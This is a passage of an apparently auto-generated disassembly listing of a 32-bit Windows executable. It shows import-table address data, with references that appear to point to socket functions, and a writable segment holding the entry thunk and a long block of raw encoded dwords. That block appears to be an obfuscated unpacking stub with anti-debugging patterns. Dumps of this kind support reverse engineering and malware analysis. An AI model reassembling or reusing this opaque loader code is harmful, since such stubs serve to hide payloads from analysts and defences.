DATA XREF: sub_41ABD0+17r ; .text:00430ED8r dword_494424 dd 930800h ; DATA XREF: sub_41B970+E2r ; sub_425AC0+87r ... dword_494428 dd 93080Fh ; DATA XREF: sub_41B970+B3r ; .text:00430EE4r dword_49442C dd 93081Eh ; DATA XREF: sub_41B970+26r ; .text:00430EEAr dword_494430 dd 930843h ; DATA XREF: sub_41BBB0+9r ; sub_41BBB0+16r ... dword_494434 dd 930861h ; DATA XREF: .text:0041BD59r ; .text:00430EF6r dword_494438 dd 930870h ; DATA XREF: sub_41BE70+3r ; .text:00430EFCr dword_49443C dd 93088Eh ; DATA XREF: .text:0041BF1Er ; .text:0041BF38r ... dword_494440 dd 93089Eh ; DATA XREF: sub_41BF80+102r ; sub_41BF80+2F3r ... dword_494444 dd 9308AFh ; DATA XREF: sub_41C620+A3r ; sub_41C6D0+1B0r ... dword_494448 dd 9308BDh ; DATA XREF: sub_41C9C0+3Cr ; .text:0041CAA2r ... dword_49444C dd 9308CBh ; DATA XREF: sub_41C9C0+14r ; .text:00430F1Ar dword_494450 dd 9308DCh ; DATA XREF: .text:0041CA4Cr ; .text:0041CA60r ... dword_494454 dd 9308ECh ; DATA XREF: sub_41D710+A3r ; sub_41D820+A7r ... dword_494458 dd 9308FCh ; DATA XREF: sub_41F930+64r ; sub_41FA10+66r ... dword_49445C dd 930919h ; DATA XREF: sub_41F930+4Ar ; sub_41FA10+50r ... dword_494460 dd 930934h ; DATA XREF: sub_41F930+9r ; .text:00430F38r dword_494464 dd 930944h ; DATA XREF: .text:0041F9D7r ; .text:00430F3Er dword_494468 dd 930953h ; DATA XREF: sub_41FA10+8Br ; .text:00430F44r dword_49446C dd 930962h ; DATA XREF: sub_41FA10+15r ; .text:0041FACCr ... dword_494470 dd 930987h ; DATA XREF: .text:0041FBD3r ; .text:00430F50r dword_494474 dd 9309A5h ; DATA XREF: sub_422F40+69r ; sub_422F40+C0r ... dword_494478 dd 9309B4h ; DATA XREF: sub_422F40+41r ; sub_422F40+1A5r ... dword_49447C dd 9309D2h ; DATA XREF: sub_4241C0+1C7r ; sub_424670+17r ... dword_494480 dd 9309E2h ; DATA XREF: sub_424510+35r ; .text:00430F68r dword_494484 dd 9309F3h ; DATA XREF: sub_424510+1Dr ; .text:00430F6Er dword_494488 dd 930A01h ; DATA XREF: sub_424F60+37r ; .text:00430F74r dword_49448C dd 930A0Fh ; DATA XREF: sub_4258A0+1E6r ; sub_4258A0+208r ... dword_494490 dd 930A20h ; DATA XREF: sub_4258A0+108r ; sub_4258A0+150r ... dword_494494 dd 930A30h ; DATA XREF: sub_4258A0:loc_4258D8r ; sub_4258A0+171r ... dword_494498 dd 930A40h ; DATA XREF: sub_4258A0+1Dr ; sub_4258A0+6Dr ... dd 930A5Dh dword_4944A0 dd 71AB12F8h ; DATA XREF: sub_406C1D+35r ; .text:00430CDAr dword_4944A4 dd 71AB3E5Dh ; DATA XREF: sub_406C1D+57r ; .text:00430CD4r dword_4944A8 dd 71AB1836h ; DATA XREF: sub_406C1D+6Er ; sub_406C9A+8Er ... dword_4944AC dd 71AB41DAh ; DATA XREF: sub_406614+47r ; sub_406C1D+15r ... dword_4944B0 dd 71AB3C22h ; DATA XREF: sub_406614+78r ; sub_406C1D+21r ... dword_4944B4 dd 71AB3F8Dh ; DATA XREF: sub_406614+91r ; .text:00430CBCr dword_4944B8 dd 71AB155Ah ; DATA XREF: sub_406614+A1r ; .text:00430CB6r dword_4944BC dd 71AB1746h ; DATA XREF: sub_406614+B7r ; sub_406C1D+41r ... dword_4944C0 dd 71AB3ECEh ; DATA XREF: sub_406614+C8r ; .text:00430CAAr dword_4944C4 dd 71AB5DE2h ; DATA XREF: sub_406614+DCr ; .text:00430CA4r dword_4944C8 dd 71AB1AF4h ; DATA XREF: sub_406614+E8r ; sub_406C9A+66r ... dword_4944CC dd 71AB1890h ; DATA XREF: sub_406614+119r ; .text:00430C98r dword_4944D0 dd 71AB1B7Bh ; DATA XREF: sub_430C92r dword_4944D4 dd 71AB868Dh ; DATA XREF: sub_406614+186r ; .text:00430C8Cr dword_4944D8 dd 71AB5690h ; DATA XREF: sub_406614+1FEr ; .text:00430C86r dword_4944DC dd 71AB1A6Dh ; DATA XREF: sub_406614+24Fr ; sub_406C1D+68r ... align 1000h _idata ends ; Section 5. (virtual address 00095000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00095000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write seg004 segment para public 'DATA' use32 assume cs:seg004 ;org 495000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame thunk sub_495000 proc near ; CODE XREF: startj jmp sub_41B970 sub_495000 endp ; --------------------------------------------------------------------------- align 4 dd 8Eh dup(0) db 3 dup(0) byte_495243 db 0 ; DATA XREF: .data:004439D0o dd 550h dup(0) dd 0FABD0000h, 0B90040CDh, 2Ch, 0AB66AAF3h, 20CD02EBh dd 2464FF61h, 89D0h, 0 dd 0C0172F9h, 6040C133h, 6E8h, 24648B00h, 330DEB08h, 31FF64C9h dd 0F1218964h, 0E8EBF1F7h, 20CD02EBh, 0E8C6F883h, 6, 6E940h dd 0C8C10000h, 0C003C358h, 0BFC713h, 64000000h, 0EB5F078Fh dd 0D883B801h, 6E8606Fh, 8B000000h, 0EB082464h, 0FF67641Ah dd 64000036h, 268967h, 0C819C00h, 10024h, 73F89D00h, 6420CDDCh dd 68F67h, 0F9615800h, 20CD0272h, 0E87872F8h, 0 dd 0C0172F9h, 76A5D33Dh, 241C8B13h, 97EB8158h, 0EB004114h dd 0E8F56601h, 0Bh, 0E998C233h, 0Eh, 255172F8h, 0DCEFF0BCh dd 66FF0DC3h, 9C2D1CD4h, 0BE35A078h, 0 dd 9FE2F681h, 0C68105ECh, 0FA5473B7h, 20FF02EBh, 0E805E883h dd 0Ch, 9E9C313h, 0D000000h, 2992B790h, 0C31DD0C1h, 0F303C613h dd 0F281D233h, 0D735CDE9h, 3234C281h, 72F928CAh, 0E8400C01h dd 8, 8E9F8h, 0C6230000h, 0C3C22390h, 50BFC413h, 0F9722666h dd 20CD0272h, 3119FF6Bh, 3C7C13Eh, 7D783F8h, 6A05C78Bh dd 977B0DDFh, 0F0273F8h, 4DB89888h, 2B0440F8h, 4CC281D0h dd 0F80440F8h, 210F0273h, 81C31BF9h, 4C6h, 0FF02EB00h dd 73F89020h, 0C1880F02h, 0C0334FD8h, 79C20348h, 7001EBB7h dd 0E8FCC223h, 9, 7E9FCh, 8B480000h, 0D883C3C4h, 21D0C1ABh dd 6601EB61h, 1EA1050Dh, 372FC30Ch, 0E6F7ADD6h, 0AFC97D57h dd 14326E75h, 9EBF26E2h, 0E2787083h, 32622CB9h, 1443D8D6h dd 9FD9F8AAh, 0E774881h, 0A0CAF622h, 9178B309h, 0F954E5D1h dd 9989BFh, 594DF7C5h, 0FB7E84D5h, 65285F15h, 0A1B21D29h dd 3D7F794Fh, 2BF9D675h, 0F57AB107h, 0AB330402h, 7F2B2BB9h dd 9E0E2B5Fh, 0BE294755h, 2EB0407h, 41E820CDh, 5B000000h dd 0E8h, 0Ah dup(0) dd 0FFAB6600h, 0C1EA66E3h, 928C9E8h, 9DDD1B0Bh, 0CC2E1082h dd 0EBFF03EBh, 0C01BFCFFh, 6E860h, 648B0000h, 0DEB0824h dd 0FF64DB33h, 23896433h, 0EB03FFF1h, 75E40BE8h, 230DEB01h dd 2B065267h, 68F64F6h, 0FF02EB5Eh, 6E86020h, 8B000000h dd 0EB082464h, 0FF67641Ah, 64000036h, 268967h, 0C819C00h dd 10024h, 73F89D00h, 6420CDDCh, 68F67h, 0B615800h, 0EB0175E4h dd 5B145E05h, 0E812h, 2EB0000h, 348B20FFh, 0EE815824h dd 411449h, 379E485h, 3D42910Fh, 356623D9h, 14E908B8h dd 81F88B9Eh, 0D3D572EFh, 0B801EB9Dh, 0ACB8FE03h, 8B337649h dd 9FEB81D8h, 0EB337649h, 1B486601h, 2376BAC1h, 2EB3F1Dh dd 0C50320FFh, 8E8h, 1DD08300h, 7E9h, 40C51300h, 90C883C3h dd 310FD26Bh, 3C2C117h, 3FD283F9h, 4C781h, 2EB0000h, 0D0C120FFh dd 75E40B81h, 0F083EB01h, 1EB83DEh, 906601EBh, 0B932C281h dd 73F842F1h, 0B8210F02h, 2DC3D36h, 0E3CB8B51h, 0C0EB5903h dd 272F959h, 0C0C120CDh, 2EB619Ch, 134020FFh, 4D10C3C0h dd 79A015E2h, 0C2072DD1h, 0CB75C9B0h, 0D324027Dh, 21880565h dd 5D2172Dh, 0F2CD4C10h, 4AD471E5h, 0A00A8362h, 59FC90C8h dd 0D992C9EFh, 71505310h, 4270B850h, 0DD369D76h, 0D1386F20h dd 0A5DC62B6h, 499F8256h, 727E1D25h, 66F0DEE9h, 7C5C8961h dd 523AB54h, 102C2C82h, 3971F821h, 18A48BC7h, 0D112E2A8h dd 879B1DE2h, 5ACBF0ECh, 5A81A8Eh, 1E864817h, 23C36C0Bh dd 0B6E016B8h, 0C8B28DA7h, 0B8F32348h, 74227698h, 5D30CFB6h dd 57DAA74Bh, 0B311165Ah, 0BF15E83Ah, 0E911DB4h, 5BDAD306h dd 0B2562184h, 0BF2B21F2h, 74AFB354h, 48941F98h, 839C6049h dd 6CEE4A2h, 646E0B3Ch, 0F6636C39h, 7032295h, 0E8h, 242C8100h dd 237h, 42464FFh db 0, 0F9h ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] align 4 dd 500E0000h, 9B40h, 0E7h dup(0) dd 9090000h, 0A0808h, 41Eh dup(0) seg004 ends ; Section 6. (virtual address 00098000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00098000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 498000h dd 80h dup(0) align 1000h _idata2 ends end start